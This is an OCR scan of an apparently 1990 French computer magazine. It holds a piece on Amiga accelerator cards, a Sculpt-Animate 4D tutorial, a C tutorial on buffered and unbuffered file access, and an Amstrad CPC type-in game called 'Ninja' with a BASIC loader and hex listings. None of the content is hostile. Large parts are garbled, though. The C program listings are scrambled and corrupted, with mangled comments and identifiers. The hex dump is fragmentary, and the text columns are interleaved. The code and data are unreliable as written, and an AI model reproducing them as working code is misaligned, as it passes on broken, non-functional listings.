rappelle que vous lisez cette 
rubrique!), donc n'achetez pas 


un carte démunie de copro¬ 
cesseur mathématique. 

- dans le même ordre d'idée, 
vérifiez que le logiciel que 
vous utilisez dispose d'une 
version recompilée pour utili¬ 
ser les instructions spécifiques 
aux processeurs 32 bits, 
comme Sculpt-Animate, Turbo 
Süver ou Opticks. 

Des cartes à la carte 

L'offre est encore limitée sur 
le marché français, mais la 
situation s'améliore progressi¬ 
vement. La carte la plus 
répandue est la A2620 de 
Commodore, avec 

68020+68881 à 14,3 MHz et 
68851, qui vous permet de 
reloger dans les 2 Mo de 
mémoire 32 bits de la carte le 
contenu du kickstart afin d'ac¬ 
célérer l'accès à ses routines. 
D'un rapport qualité/prix cor¬ 
rect (environ 15000 F.), elle 
offre l'avantage de pouvoir 
choisir entre le 68000 et le 
68020 au moment du boot. 
Dans le bas de gamme, on 
peut trouver la carte Midget 
Racer de CSA (environ 5000 
F.) mais qui aurait plutôt ten¬ 


dance à ralentir votre Amiga 
sur la plupart des logiciels 
standards et à n'accélérer que 
d'environ trois fois les logi¬ 
ciels optimisés. Il n'est pas sûr 
que le jeu en vaille la chandel¬ 
le. 

Dans le haut de gamme et en 
attendant la A2630 de 
Commodore, GVP propose 
une carte 68030+68882 à 25 
MHz très rapide, munie en 
option de 4 ou 8 Mo de Ram 
32 bits (15000 F. sans Ram, et 
35000 avec 4 Mo). 

Dans tous les cas, les cartes 
sont toujours beaucoup moins 
chères aux Etats-Unis (2800 
dollars pour la GVP plus 4 
Mo), aussi choisissez entre les 
prix et le service après-vente 
plus la francisation. Nous par¬ 
lerons aussi des Hurricane, 
pas encore importées en 
France, mais dont le dernier 
modèle 68030+68882 à’28,5 
MHz risque de faire des 
remous. 

Le mois prochain, un bench- 
mark comparatif de toutes les 
cartes que nous aurons pu tes¬ 
ter sur une scène représentati¬ 
ve calculée avec Sculpt- 
Animate 4D, dont vous voyez 
la photo dans ces pages. 
Sachez simplement que le 
temps de calculs en mode 
photo, avec anti-aliasing au 
maximum et en haute résolu¬ 
tion sur un Amiga 2000 avec 3 
Mo et 68000, demande dix 
heures, neuf minutes et vingt- 
sept secondes. Non ? Si. 


VOTRE INITIATION 
A SCULPT-ANIMATE 
4D 

(4e partie) 

Nous allons en finir aujour¬ 
d'hui avec la tri-view qui, rap- 
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pelons-le, est l'ensemble des 
trois fenêtres de modélisation. 
Les gadgets passés sous silen¬ 
ce jusqu'à présent sont faciles 
à comprendre. Le gadget situé 
en haut et à droite inverse le 
sens de la fenêtre (voir schéma 
du mois précédent). 
Autrement dit, l'activer fait 
par exemple passer l'ouest de 
la gauche vers la droite de la 
fenêtre, et l'est en sens inverse. 
Les trois gadgets occupant le 
coin inférieur gauche ont des 
importances très différentes. 
Celui en forme de triangle 
permet de créer des faces tri¬ 
angulaires élémentaires en 
définissant trois points. Son 
intérêt est assez limité, car la 
profusion d'outils de toutes 
sortes évite pratiquement tout 
recours à cette fonction. Le 
gadget de centrage, en forme 
de croix, est par contre très 
utilisé. Il permet en effet de 
recentrer la fenêtre autour de 
la position du curseur, ce qui 
se révèle très utile lorsque l'on 
veut faire un zoom sur une 
partie d'un objet en étant sûr 
de conserver ledit objet en 
entier dans chacune des trois 
fenêtres. 

Le troisième outil en forme de 
pince est le Grabber. Comme 
son nom l'indique, il agit 
comme une pince qui déplace 
les points sélectionnés relati¬ 
vement à la position du cur¬ 
seur. C'est l'un des outils les 
plus fréquemment activés 
lorsque l'on veut déformer des 
parties d'un objet ou le dépla¬ 
cer dans son ensemble. 

Reste deux symboles essen¬ 
tiels: l'observateur et la cible. 
En effet, l'observateur 
(.Observer Location) représente 
la position de la caméra qui 
filme la scène. Symbolisé par 
un petit rond bleu, l'observa¬ 
teur peut être déplacé n'im¬ 
porte où dans l'espace 3D. 
Enfin, la cible ( Observer 
Target) est l'endroit exact vers 
lequel est pointé l'objectif de la 
caméra. Pour être sûr de bien 
voir un objet à l'écran, le 
meilleur moyen est encore de 
placer le curseur à son centre 


(attention de bien le faire dans 
les trois fenêtres), puis de 
sélectionner Observer Target. 
Une petite croix représente 
cette cible. 

Fouille en règle 

Avant de continuer notre 
exploration des outils de 
modélisation de Sculpt- 
Animate 4D, faisons une petite 
pause récréative et parlons de 
quelque chose de plus specta¬ 
culaire au niveau visuel. Nous 
savons maintenant qu'obtenir 
une image à l'écran passe par 
la création d'un ou de plu¬ 
sieurs objets, et du placement 


de l'observateur et de la cible. 
Cependant, cela ne suffit pas. 
Nous allons commencer à 
décortiquer le menu Observer, 
qui contrôle tout le côté visuel 
de SA-4D. 

L'objet que nous utiliserons à 
des fins de démonstration sera 
la sphère. Pourquoi? Primo, 
parce que historiquement, ce 
fut la première forme à être 
calculée en ray-tracing. 
Secundo, parce que cette 
forme, devenue il est vrai un 
poncif en imagerie de synthè¬ 
se, donne des effets très esthé¬ 


tiques lorsqu'elle reflète l'envi¬ 
ronnement. Enfin, parce qu'il 
s'agit d'une primitive simple, 
qui ne demande pas beaucoup 
de temps de calcul dans les 
versions Sculpt 3D XL et SÂ- 
4D 2.09. Les versions plus 
anciennes (Sculpt 3D et SA- 
4D 2.04) ne disposent en effet 
pas de sphères parfaites; il 
faut alors les «approximer» à 
l'aide de nombreux poly¬ 
gones^ qui augmente en pro¬ 
portion le temps de calculs. 
Dans le premier cas, nos amis 
les 68000 pourront donc béné¬ 
ficier de ces sphères parfaites 
sans trop s'essouffler; dans le 
second, prenez votre temps. 


détendez-vous et préparez- 
vous une activité quelconque 
pendant que votre brave 
Amiga mouline.. Pour créer 
une sphère parfaite, sélection¬ 
nez EDIT ADD SPHERE, puis 
tapez -1 dans le requester. 

Ne vous affolez pas si un 
polyèdre à vingt faces appa¬ 
raît dans la tri-view à la place 
d'une boule bien ronde. Cela 
permet d'économiser du 
temps lors du rafraîchisse¬ 
ment des fenêtres. Pour ceux 
qui ne disposent pas des der¬ 
nières versions de SA, tapez 1 


ou 2 dans le requester, ce qui 
vous donnera une approxima¬ 
tion de sphère à quatre-vingts 
faces (NI) ou trois cent vingt 
faces (N2). Le niveau -1 (sphè¬ 
re parfaite), ne consomme que 
l'équivalent de vingt faces. 
Règle d'or! Lorsque vous vou¬ 
lez optimiser votre objet afin 
que le temps de rafraîchisse¬ 
ment des fenêtres ne soit pas 
trop long, contrôlez le nombre 
d'arêtes (Edges) : ce sont elles 
qui sont réaffichées en perma¬ 
nence dans la tri-view, et au 
blitter s'il vous plaît. En 
revanche, dans tous les autres 
cas, gardez à l'esprit le nombre 
de faces de la scène. Dans les 


calculs, ce sont les faces qui 
consomment la mémoire et le 
temps CPU. Pensez donc tou¬ 
jours à vos objets en terme de 
faces plutôt qu'en nombre de 
points. 

Le mois prochain, nous expli¬ 
querons en détail les différents 
algorithmes utilisés par 
Sculpt-Animate, ainsi que les 
paramètres d'environnement 
qui nous permettront de créer 
notre première et néanmoins 
splendide image! 

Frédéric Louguet 
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INITIATION 



(1 ERE PARTIE) 

INITIATION AU C 


Les fonctions utilisées pour le traitement 
des fichiers ne font pas partie du langage 
proprement dit, mais sont toujours 
incluses dans une librairie. La norme C 
leur assure une excellente portabilité, du 
moins pour les fonctions Ansi ou Unix. 


videmment C ne propose 
pas à l'origine de fonc¬ 
tions ' extrêmement 
sophistiquées et si vous dési¬ 
rez faire par exemple du 
séquentiel indexé, il faudra 
créer votre bibliothèque, en 
trouver une déjà existante ou 
encore, faire un appel au systè¬ 
me d'exploitation quand il per¬ 
met cette facilité.. 

Ceci posé, on trouve en C deux 
grands groupes, les fichiers 
«bufferisés» et les fichiers «non 
buffèrisés». 

Les fichiers bufferisés 

Leur fonctionnement s'inspire 
directement de la notion de 
Flux liée à Unix. Sans entrer 
dans les détails, il faut savoir 
que l'ouverture - par fopen() - 
d'un tel fichier renvoie un 
pointeur sur une structure de 
type FILE comprenant un 
pointeur sur un buffer et des 
indicateurs sur le flot de don¬ 
nées comme la position cou¬ 
rante de lecture/écriture, le 
mode d'ouverture, etc. La 
structure FILE et les fonctions 
s’y rapportant sont expliquées 
dans <stdio.h>. On trouve 
d'abord: 

. FILE *fopen( char *filename, 
char *mode ); 

FopenO ouvre donc un fichier 
et renvoie un pointeur vers la 
structure décrivant le flux - ( 
FILE * ) OL en cas d'erreur-. 

La chaîne mode contient les 
codes suivants : 

- r : lecture seule. 

- r+: lecture et écriture. 

- w : création ou écrasement 
pour écriture seule. 
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* w+: création ou écrasement 
pour lecture et écriture. 

- a : ouverture ou création en 
lecture* 

- a+: ouverture ou création en 
lecture et écriture. 

On peut y ajouter : 

- b : fichier binaire (sans trans¬ 
formation). 

-1 : fichier texte. 

Pour fermer ce type de fichier, 
on a: 

int fclose( FILE *stream ) ; 
qui ferme le flux «stream» pré¬ 
cédemment ouvert par 
fopen(). 

Vous trouverez d'autres fonc¬ 
tions classiques dans l'encadré 
n°l. 

Les fichiers standards 

On trouve les fichiers suivants 
déjà ouverts: . 

-stdout (standart output) est le 
terminal de sortie standart, 
l'écran. C'est ainsi que putchar 
est une macro définie dans 
stdio.h par : 

#define putchar( c ) putc( c, 
stdout ) 

On remarque d’autre part que : 
fprintf( stdout, "coco = %d", 
coco); 

est équivalent à 


printf( "coco = %d", coco ); 

- stdin ( standart input ) cor¬ 
respond au clavier. On trouve 
par exemple dans stdio.h: 
#define getcharO getc( stdin ) 
Même remarque que pour 
stdout mais en ce qui concer¬ 
ne, fscanfO et scanf(). 

- stderr ( standart error ) 
fichier de sortie en cas d'er- 

- stdprn ( standart printer ) qui 
envoie les données sur l'impri¬ 
mante connectée' au port 
Centronics et stdaux qui 
concerne la RS232. 

Si l'utilisation de ces fonctions 
ne pose pas de difficultés 
notables, elle suscite néan¬ 
moins deux remarques: 

- sur certains systèmes/ordi¬ 
nateurs, il est nécessaire de 
fflush-er systématiquement 
stdout pour voir apparaître 
immédiatement les informa¬ 
tions désirées à l'écran; 

- quand on ouvre un fichier, il 
est important de ne pas se 
tromper sur le mode texte ou 
binaire choisi. On rappelle que 
le mode texte réagit aux codes 
LF, CR et EOF. Il peut donc 
être désastreux d'écrire un 
fichiers de données numé¬ 
riques en mode texte. Si on ne 


précise pas le mode d'ouvertu¬ 
re, ce dernier sera fixé par la 
variable globale _fmode. 

Un p'tit prog... 

Pour illustrer les fichiers buf¬ 
ferisés, vous avez un pro¬ 
gramme qui passe à la mouli- 
nette un fichier texte pour le 
débarrasser des caractères 
exotiques pouvant gêner cer¬ 
taines configurations d'impri¬ 
mantes ou d'éditeurs comme 
les «ç», «à», «ù», etc . De 
plus, s'il détecte une tabula¬ 
tion, il la transforme en cinq 
espaces, ce qui permet d'évi¬ 
ter les indentations trop 
importantes générant des 
passages à la ligne non dési¬ 
rés. Il s'utilise sous Dos en 
tapant simplement: 
moulinet nomfichl nomfich2 
... nomfichn 

et renvoie en cas de succès un 
fichier ASCII bien clean pour 
chaque nomfichx et portant 
le nom: NOMFICHX. ASC. 

Les fichiers non 
bufferisés... 

Les fichiers non bufferisés 
sont des options plus proches 
du système que les précé¬ 
dents. Au lieu de travailler 
avec une structure sophisti¬ 
quée, ils se contentent d'un 
file descriptor ou handle, 
c'est-à-dire d'un numéro 
d'identification entier. 
Comme ils ne disposent pas 
de buffer, chaque lectu¬ 
re/écriture provoque un 
accès au périphérique utilisé. 





1 - Fonctions d'accès aux fichiers bufferisés 
Toutes ces fonction nécessitent i'inclusion de stdio.h. 

- int feof( FILE ‘stream ); 

renvoie une valeur non nulle si la fin de fichier a été atteinte. 

- int fputc( char c, FILE *stream ); 
et 

int putc( int c, FILE *stream ); 
envoient c dans stream. 

- int fgetc( FILE *stream ); 
et 

int getc( FILE ‘stream ); 

renvoient un caractère lu depuis stream et convertit en int. 

- int ungetc( int c, FILE ‘stream ) ; 

repousse c dans stream qui pourra ainsi etre relu par getc...etc. 
EOF est retourné en cas d'erreur. 

- int fputs( char ‘chain* FILE ‘stream ); 

envoie la chaîne chain - terminée par 0 - dans stream et retour¬ 
ne EOF en cas d'erreur. 

- char *fgets( char *ptr, int nb, FILE ‘stream ); 

va lire dans stream nb -1 caractères à moins de rencontrer 
d'abord un An' et les place dans la chaîne pointée par ptr en 
ajoutant un AO’. Renvoie OL en cas d'erreur. 

- int fwrite( void *ptr, int size, int nb, FILE ‘stream ) ; 

écrit nb objets de taille size à partie de l'adresse ptr dans 
stream et renvoie le nombre d'OBJETS effectivements éctits . 

- int fread( void *ptr, int size, int nb, FILE ‘stream ) ; 

lit dans stream nb zones de taille size pointés par ptr et renvoie 
le nombre d'OBJETS lus (dans beaucoup de C, ptr est de type 
char *). 

- int fflush( FILE ‘stream ); 

vide le tampon vers le médium de sortie et renvoie EOF si 
erreur, zéro autrement (la fermeture d'un fichier force un fflu- 
sh();). 

int fseek( FILE ‘stream, long offset, int whence ); 
déplace d'offset le pointeur associé à stream. Whence indique 
à partir d'où s'effectue le déplacement selon qu'il vaut 0: début 
du fichier, 1 : position courrante ou 2: fin du fichier. 

- long ftell( FILE ‘stream ); 

retourne la position courante du pointeur associé à stream (en 
positionnant le pointeur en fin de fichier avec fseek() puis en 
appelant ftell, on obtient la taille du fichier). 

Cette liste n'est pas exhaustive ! 


Leur manipulation commen¬ 
ce avec les fonctions creat() 
et open() déclarées dans 
<io.h>: 

— int creat( char “filename, int 
amode ) ; 

crée le fichier filename et 
renvoie un handle correspon¬ 
dant. amode est une combi¬ 
naison de bits dont les mné¬ 
moniques se trouvent dans 
<sys\stat.h> ou <fnctl.h> et 
sont : 

. S_IWRITE : écriture seule. 

. S_IREAD : lecture seule. 

. 0_B1NARY : fichier binaire. 

. 0_TEXT : fichier texte. 


- int open( char “filename, int 
access ) ; 

ouvre le fichier filemane 
dans le mode access qui est 
une combinaison de 
constantes #définies dans 
<fcntl,h> et dont les princi¬ 
pales sont: 

. 0_RD0NLY : lecture seule. 

. 0_WR0NLY : écriture 
seule. 

. 0_RDWR : lecture/écriture. 
On retrouve encore 0_B1NA- 
RY et 0_TEXT. 

- int close( int handle ) ; 
referme le fichier identifié 
par handle. 


Vous trouverez d'autres fonc¬ 
tions dans l'encadré n°2. 

Un aut' p'tit prog... 

Pour illustrer les fichiers non 


Ce programme possède 
pas mal de limitations... 

Le mois prochain, nous verrons 
comment traiter ces fichiers de 


bufferisés, ce dernier pro¬ 
gramme transforme tous les 
caractères minuscules d'un 
fichier en majuscule et vice- 
versa puis renvoie le fichier 
modifié avec le suffixe .COD. 


manière plus fine en faisant par 
exemple de l'accès direct. D’ici 
là, ne détruisez pas votre dis¬ 
quette langage et faites en une 
copie avant de tester ou de 
modifier les programmes don- 


On l'utilise sous Dos en nés. 
tapant : 

modif coco.txt J.Y. Trétout 
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RC 


I N I T I AT I 0 N 


it( | dat_out=fopen( nom_out, ) ) = OL ) | F erreur 7 
printl( "Impossible d'ouvrir %s...', nomjjut ); 
fclose( datjnp ): T nettoyage'/ 

retum ; 

} 

do{ 

(getsf input, LENJ4AX, dat inp ) ; 
tra'rtej input, output ) ; 
fputs{ oulput, dat_out ) ; 


ch ;breàk ; 


en = c ; orean ; 

/* On peut en rajouter... V 

) F lin switch 7 

if( ( ch < 321| ch >127 ) && ch 1= CR && ch != LP ) 

’ouW+=SPACE', Cet voilà pour les contrôles 17 
else 

'out++=ch ; 


J while( !feof( datjnp ) ) ; F fin du fichier ? 7 
ldose( datjnp ); 
fclosej dafout ); 

printf( "\nLe fichier %s a été créé. ", nom_out ) ; 


} F fin while 7 
’out=0 ; 


rTAB_SIZE espace 
F modifiés ou transfdmés en espaces. 


F modife 7 


traite) inp.out) 
register char 'inp, ’out; 


registercharch ; 
register int i,j; 


ffincbde <io.h> 
üfinclude <stdio.h> 
üincbde <lcntl.h> 
#tnckjde <string.h> 
#incbde<sys'.stath> 


if(eh==TAB)( 

tor| i=0 ; j <7AB_S)ZE ;j++)‘out++=SPACE ; 

F remplace un TAB parTAB_SIZE espaces 7 


continue ; 

F force une nouvelle itération de while 7 

F qui n'exécute pas la suite dans ce cas. 7 


switch(ch){ 

case 'é': 
case 'è' : 

ch = 'é ; break; 

case'à': 

ch='a'; break; 

case ’ù' : 


2 - Fonction d'accès aux fichiers non bufferisés 
Toutes ces fonction nécessitent l'inclusion de 
<sys\stat.h> et <io.h> 

- long lseek( int handle, long offset, int whence ) ; 
fonctionne comme fseek() mais renvoie directement la 
position atteinte à partir du début de fichier. 

- int write( int handle, void *buf, unsigned int len ) ; 

va écrire les octets se trouvant à la position pointée par 
buf et renvoie le nombre d'octets effectivement écrits. 

- int read( int handle, void *buf, unsigned int len ) ; 

va lire len octets et les place à la position pointée par 
buf et renvoie le nombre d'octets effectivement écrits. 
Ces deux fonctions renvoient -1 en cas d'erreur, or -1 
est codé de la même façon que 65535, ce qui implique 
qu'on ne puisse lire ou écrire plus de 65534 octets d'un 
coup. 

FILE *fdopen( int handle, char *mode ); associe un flux 
au fichier décrit par handle, mode est le même que pour 
fopen et doit être compatible avec le précédent mode 
d'ouverture. 


main) argc.argv) 

intarge; 

char"argv; 


inti, k, fdjnp, fd_out ; 

char ’ptr, nomjnpi50), nom_outl50] ; 


clrsctf); 

if(argc>1 ) strepy) nomjnp, argvfl]); 

else exit( 0 \ ; F Pas de paramètres ..7 
slrcpyf nonvout, nomjnp ) ; 
for( i = k = strien( nom out ) ; i>= K - 3 ; i-) 

if( nom_out(i] = '.' ) nom_out|i) = 0 ; 
strcat(nom_out,’.COD"); 


fdjnp=open( nomjnp, OJ3INARY10_RD0NLY ) ; 
fd_out = créât] nom_out, 0_BINARY | S IWRITE | SJREAD ) ; 

F. Si on ne met pas S ISWRlTE, c'est dur à effacer 7 
ïfWjnp >0 Ut'fdjàl» 0) 

unsigned int i, usize ; 
charc,'base, *ptr; 
bng size ; 


size=lseek( fd_inp, OL, 2 ) ; 

F renvoie la taille du fichier 7 
lseek( fdjnp, OL, 0); 

F Ne pas oublier de repositionner le pointeur au début 7 
usize = ( unsigned int ) size ; 

/' Ne marche que pour des fichiers < 64 Ko 7 
ptr=base = ( rfiar ' ) malloc( size ) ; 

/' réservation de la place mémoire 7 
read( fdjnp, base, usize ) ; 

/'tout dans le tampon 7 
for( M3 ; i < usize 

c='ptr ; 

if(c>='A'Mc<=?)'ptr=c-'AVa'; 
if( c >= 'a' 8& c <= 'z' ) ’ptr=c - 'a' + 'A' ; 
ptr++; 

Write) fd_out, base, usize ); 

/■tout dans le fichier 7 
free(base); 

F libération mémoire 7 
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CPC 


PROGAMMATION 

Nettoyage en règle 

NINJA 


Territoire des «fils de la terreur», les 
quartiers sud de Stone City ne sont guère 
fréquentables. Devant l'incompétence 
notoire des autorités locales, vous déci¬ 
dez de mettre votre art des shurikens au 
service de la justice. 


D isciple de l'école Black 
Ninja, votre mission 
consiste en l'élimination 
pure et simple des chefs 
Madiba San. et Zouk San, suite 
au nettoyage en règle des 
quartiers chauds. 

Le Ninja dispose de neuf vies 
et débute la partie en 
appuyant sur le bouton de tir 
ou la barre d'espace selon 
qu'il désire combattre au joys¬ 
tick ou au clavier (touches 
directionnelles, barre d’espa¬ 
cement). La pause s'obtient 
par la touche Retum et l'aban¬ 
don par Esc. Un tableau des 
meilleurs scores est proposé. 
Bonne chance! 


Sauvegarde 

Sauvez sous le nom de NINJA 
le court listing Basic de charge¬ 
ment. Entrez ensuite par 
Amsaisie V.2 en vous reportant 
à son mode d'emploi, les deux 
listings de codes hexadéci¬ 
maux. 


Nom Adr. déb. Long. 

NINJA1 &4E20 &2397 
NINJA2 &7530 &2A76 
La longueur est ici précisée à 
l'attention de ceux qui envisa¬ 
gent raisonnablement de mor¬ 
celer leur travail en plusieurs 
fichiers qui devront ultérieure-. 


ment être réunis en deux 
fichiers définitifs. 

Luc Guillaume 
(Programmation & musique) 
Hervé Guillaume 
(Graphisme) 


1 ...................... [657] 

2 ' * * [175] 

3'* NIHJi * [170] 

4 •• * [175] 

5 •* Luc 4 Herve * [801] 

6 '* Guillaume * [1388] 

7 '* Black Syatem 1990 • [753] 

8 '• * [175] 

y ...................... [457] 

10 ' [1171 

11 MEMORT 19999 [424] 

12 LO40" IKINJA1.BIN", 200 [983] 
00 

13 LO&D"IN1NJA2.BIN",300 [1039] 
00 

14 CALL 30000 [309] 
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CPC 


PROGAMMATION 


4FA8 

4FB0 

4FB8 

4FC0 


5078 

5080 

5088 

5090 

5098 

50A0 

50AB 

50B0 

50B8 

50C0 

50C8 

50D0 

50D8 

S0E0 

50E8 

50F0 

50F8 

-5100 

S108 

5110 

5118 

5120 

5128 

5130 

5140 

5148 

5150 

5158 

5160 

5168 

5170 

5178 

5180 

5188 

5190 

51A0 

51A8 

' 51B0 

- 51B8 

- 51C0 
51C8 
51D0 
51D8 
51E0 
51E8 
51F0 
51F8 
5200 
5208 
5210 
5218 
5220 
5228 
5230 
5238 
5240 


5288 

5290 

5298 

52A0 

52B0 

52B8 

52C0 


2 02 02 03 00 00 00:0A 
2 A2 00 28 00 3C 00:78 
0 02 00 03 02 00 00:IA 
F3 A2 A2 00 28 00 3C 00:88 
02 00 02 00 02 00 00 00:19 
F3 A2 A2 A2 28 00 28 2S:D4 
02 28 02 02 03 02 00 00:92 
A2 A2 28 A2 28 28 03 2B:12 
02 02 02 02 02 02 00 00:51 
F3 A2 51 00 14 00 14 00:49 
01 00 01 00 03 02 00 00:56 
51 A2 00 A2 00 28 00 28:8C 
00 02 02 02 03 02 00 00:74 
2 28 A2 28 28 03 00:03 
02 02 02 02 02 02 00 00:82 
A2 00 A2 00 28 00 28 00:C8 
02 00 02 00 03 02 00 00:8B 
A2 A2 79 A2 28 28 02 28:4F 
02 02 02 02 02 02 00 00:A2 
F3 A2 28 A2 28 28 02 28:BD 
02 02 02 02 02 02 00 00:B2 
F3 A2 28 A2 28 28 02 28:CD 
02 02 02 02 03 02 00 00:C7 
F3 A2 28 A2 28 28 02 28:DD 
03 02 02 00 02 00 00 00:BF 
F3 A2 28 A2 28 28 02 28:ED 
02 02 03 02 01 00 00 00:D4 
F3 A2 28 A2 28 28 02 28:FD 
03 00 02 02 02 02 00 00:EF 
F3 A2 A2 A2 28 00 29 02:6C 
00 02 02 02 03 02 00 00:05 
F3 A2 51 00 14 00 14 00: FA 
01 00 01 00 01 00 00 00:Fl 
A2 A2 28 A2 28 28 02 2B:DC 
02 02-02 02 03 02 00 00:27 
A2 A2 28 A2 28 28 02 2B:EC 
02 02 01 00 01 00 00 00:16 
A2 A2 28 A2 28 28 02 2B:FC 
02 02 03 02 02 02 00 00:45 
A2 A2 28 A2 28 28 01 00:C5 
02 02 02 02 02 02 00 00:52 
A2 A2 28 A2 28 28 02 28:IC 
03 02 01 00 01 00 00 00:47 
F3 A2 A2 26 00 28 01 00:F4 
02 00 02 02 03 02 00 00:73 
00 00 00 00 00 00 00 00:51 
00 00 00 00 00 00 C0 80:99 

00 C0 9D C8 00 00 40 6A:F0 
6F 48 00 00 40 C8 9D CA:FB 
00 00 40 60 64 6A 80 00:A9 
40 E2 30 C8 4A 00 40 B2:F7 
C8 60 48 00 40 E6 9C 90:51 
EA 00 40 E4 3E B2 68 00:05 
40 B7 35 79 6A 00 40 B4:3C 
C4 3E CB 00 40 5B B2 CC:D9 
60 00 40 IC 30 30 80 00:0A 
40 BF 6E C0 00 00 00 C4:D9 
98 80 00 00 00 C4 3E 80:9B 
00 00 00 90 9D C8 00 00;C2 
40 60 64 6A 00 00 90 98:4D 
90 D9 80 00 C4 3A C0 3D:EB 
80 00 B6 C4 95 CC 80 00:BC 
3D C8 C4 3A 80 00 6E 80:64 
90 98 80 00 98 80 C4 C0:7D 
00 00 60 00 95 98 80 00;0A 
80 00 DI 6E 60 00 00 00:84 

00 00 00 00 00 00 00 00:09 
00 00 00 00 00 00 00 00:11 
00 00 00 00 00 00 C0 80:59 
00 00 00 40 64 60 00 00:55 
00 C0 9D C8 00 00 40 6A:B0 
6F 48 00 00 40 C8 9D CA:BB 
00 00 40 60 64 6A 80 00:69 
40 E2 30 C8 4A 00 40 B2:B7 
C8 60 48 00 40 Eô 9C 90:11 

40 B7 35 79 ef 00 40 B4-FD 
3E C8 00 40 5B B2 CC:9A 
00 40 IC 3D 30 80 00:CB 
40 BF 6E C0 00 00 00 C4:9A 
98 80 00 00 00 C4 3E 80:5C 
00 00 00 C4 6E 80 00 00:BB 
00 90 9D 80 00 00 40 90:Cl - 
64 80 «0 00 51 60 3E 80;7D 
00 00 15 30 B7 80 00 00;2C 
44 7B 6E 80 00 00 44 71:8A 
98 80 00 00 10 C4 60 00:CA 
00 00 40 15 98 80 00 00:BE 
00 51 6E 60 00 00 00 00:26 
00 00 00 00 00 00 00 00:C2 
00 00 00 00 00 00 00 00:CA 
00 00 00 00 00 00 00 00;D2 
00 00 00 00 00 00 C0 80:IA 
00 00 00 40 64 60 00 00:16 
00 C0 9D C8 00 00 40 6A:71 
6 F 48 00 00 40 C8 9D CA:7C 
00 00 40 60 64 6A 80 00:2A 
40 E2 30 C8 4A 00 40 B2:7B 
C8 60 48 00 40 E6 9C 90:D2 
EA 00 40 E4 3E B2 68 00:86 
40 B7 35 79 6A 00 40 B4:8D 


3 g 


C8 00 4 
40 IC 3 
6 E C0 0 


7 98 80 
l 00 00 
9 40 6E 
7 98 80 


0 00 C4 3E 80 

0 C8 00 00 00 

3 00 00 40 35 

0 90 30 3D 80 

6E 80 00 00 
00 00 90 6C 
90 6C 80 00 
60 00 00 -- 


0 9D C8 
8 00 00 
0 40 60 

2 30 C8 
0 48 00 
0 40 E4 

7 35 79 

s ce 00 

0 40 IC 
? 6E C0 
0 00 00 
0 00 90 
4 98 6A 
9 80 00 

3 40 30 

8 CC 60 

.0 00 00 . 

00 00 95 98 3 
DI 6E 20 00 0 


J 00 00 00 00 

0 00 00 00 00 

0 00 00 C0 80 

- 64 60 00 00 

00 00 40 6A 
40 C8 9D CA 
64 6A 80 00 
4A 00 40 B2 
40 E6 9C 90 
3E B2 68 00 
6A 00 40 B4 
40 5B B2 CC 
3D 30 80 00 
00 00 00 C4 
00 C4 3E 80 
CC C8 00 00 
00 00 00 90 
00 90 35 3E 
6E 9D 80 00 
00 00 94 6E 
95 CB 6E 60 


a 00 00 00 c 
3 40 64 60 0 


00 C0 9D C8 00 00 4 


40 E2 30 C8 4A 00 
CB 60 48 00 40 E6 


E CB 00 
0 40 IC 
r 6E C0 


40 5B B2 CC:DC 
3D 30 80 00:0D 


98 80 00 00 00 C4 3E i 


» 60 95 6 
i 98 80 0 


00 00 00 00 00 00 40 C0 
00 00 00 00 90 98 80 00 
00 00 C4 6E C0 00 00 00 
84 9F 95 80 00 00 CS 6E 
C4 80 00 40 95 98 90 80 
00 85 C4 30 DI 80 00 84 
00 D5 60 6C 
71 3D D8 80 
7B 80 00 C4 
00 90 CC ■' 
30 3E 2C . 
7F 80 00 00 
00 00 40 3D 
C4 6E 60 "" 


3 00 94 
5 B6 3A 
i 78 80 


l SS tl li S 


a cc 6i ce 79 

8 C4 3E 00 40 
a 40 C0 C8 


0 00 00 00 00:CD 
0 00 00 00 00:D5 
0 00 00 40 C0:9D 


5 C4 30 

4 71 80 
0 00 94 

5 B6 3A 
8 78 80 
a 00 40 
0 C0 9D 
4 C8 00 


C0 00 00 00 
00 00 CS 6E 
95 98 90 80 
DI 80 00 84 
00 DS 60 6C 
71 3D D8 80 

Il SS œ n 

30 3E 2C 80 
7F 80 00 00 
00 00 40 3D 
40 9D C8 00 


5628 
- 5630 
-5638 


5688 

5690 

5698 


5708 

5710 

5718 

5720 

5728 

5730 

5738 

5740 

5748 

5750 

5758 

5760 

5768 

5770 

5778 


-57C0 

S7C8 

57D0 


5828 

5830 

5838 


5868 

- 5870 

- 5878 

- 5880 
5888 


5908 

5910 

5918 

5920 

5928 

5930 

5938 


00 00 0 

Zlll 

00 00 0 


84 9F 95 
C4 80 00 
00 85 C4 
-- C4 71 


00 00 00 40 C0:5E 

00 90 9B 80 00:86 

6E C0 00 00 00:72 

80 00 00 C5 6E:0A 

40 95 98 90 80:EB 

30 DI 80 00 84:11 

80 00 D5 60 6C:37 

94 71 3D D8 80:8A 

3A 7B 80 00 C4:99 

80 00 90 CC 71:97 - 

» 40 30 3E 2C 80:2D 

0 9D 7F 80 00 00:25 

8 00 00 00 40 3D:06 

■0 00:06 


. JS 00 l. -» . 

0 90 98 80 00 f 


40 E6 3A 80 00 

30 60 . 

00 00 
00 90 
9C 60 


vv » ». 40 3E:80 
00 40 9D B2 60:DA 
64 7B 60 00 00:1D 
60 00 00 00 40-.A2 


VV TV TV vv VV vv VV HYi-.aû 

9C 60 00 00 00 90 9D 80:3D 
00 00 40 64 7B 80 00 00:F5 

00 00 00 00 00 00 00 00:46 


5A28 
5A30 

V 00 00 00 00 00:57 5A38 

0 00 00 00 40 C0:1F 5A40 

0 00 90 98 80 00:47 SA48 

4 6E C0 00 00 00:33 5A50 

5 80 00 00 C5 6E:CB 5A58 
0 40 95 98 90 80:AC 5A60 

0 84:D2 
0 6C:F8 - 


7 80 00 94 71 3D D8 80:4B - 

a 95 B6 3A 7B 80 00 C4:5A - 

3 C8 76 80 00 90 CC 71:58 ~ 

7 80 00 40 30 3E 2C 80:ËE 

a 00 C0 9D 7F 80 00 00:F 


0 00 C4 CC 
5 64 C8 00 

'0 40 6E 9D 
0 CC 34 


3D:C7 
00: CB 
►» 40:06 
3D 3A:38 
-- 80:63 


00 00 00 10 9D E2 00 00:9C 5AE0 


.» ». »» »» »0 00:07 

10 00 00 00 00 00:0F 
10 00 00 00 00 00:17 
10 00 00 00 40 C0:DF 
10 00 90 98 80 00:07 
14 6E C0 00 00 00:F3 
'5 80 00 00 CS 6E:BB 
10 40 95 98 90 80:6C 
:4 30 DI 80 00 84:92 
'1 80 00 D5 60 6C:B8 - 
10 94 71 3D D8 80:0C 
